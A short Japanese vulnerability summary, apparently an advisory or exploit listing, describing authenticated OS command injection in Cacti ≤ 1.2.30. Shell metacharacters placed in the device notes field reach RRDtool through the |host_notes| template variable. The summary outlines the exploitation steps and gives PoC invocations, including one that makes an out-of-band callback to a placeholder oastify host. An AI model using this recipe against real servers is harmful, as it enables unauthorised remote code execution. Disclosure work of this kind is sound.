
Cacti ≤ 1.2.30 Auth RCE - ホスト変数インジェクション
Cacti ≤ 1.2.30 の OS コマンドインジェクションの脆弱性により、デバイスおよびグラフテンプレート作成権限を持つ認証済みユーザーは、基盤となるサーバー上で任意のコマンドを実行できます。この欠陥は、ユーザーが制御するホストメタデータフィールド(具体的にはデバイスのメモ欄)が、Cacti の変数置換エンジンを介して RRDtool のコマンドライン引数に、サニタイズやエスケープなしで代入されるために存在します。攻撃者は、メモ欄にシェルメタ文字を注入し、|host_notes| 変数を参照するグラフテンプレートを作成し、グラフレンダリングをトリガーすることで、Web サーバーユーザーとして完全なリモートコード実行を実現できます。
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
OOB コマンド実行:
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
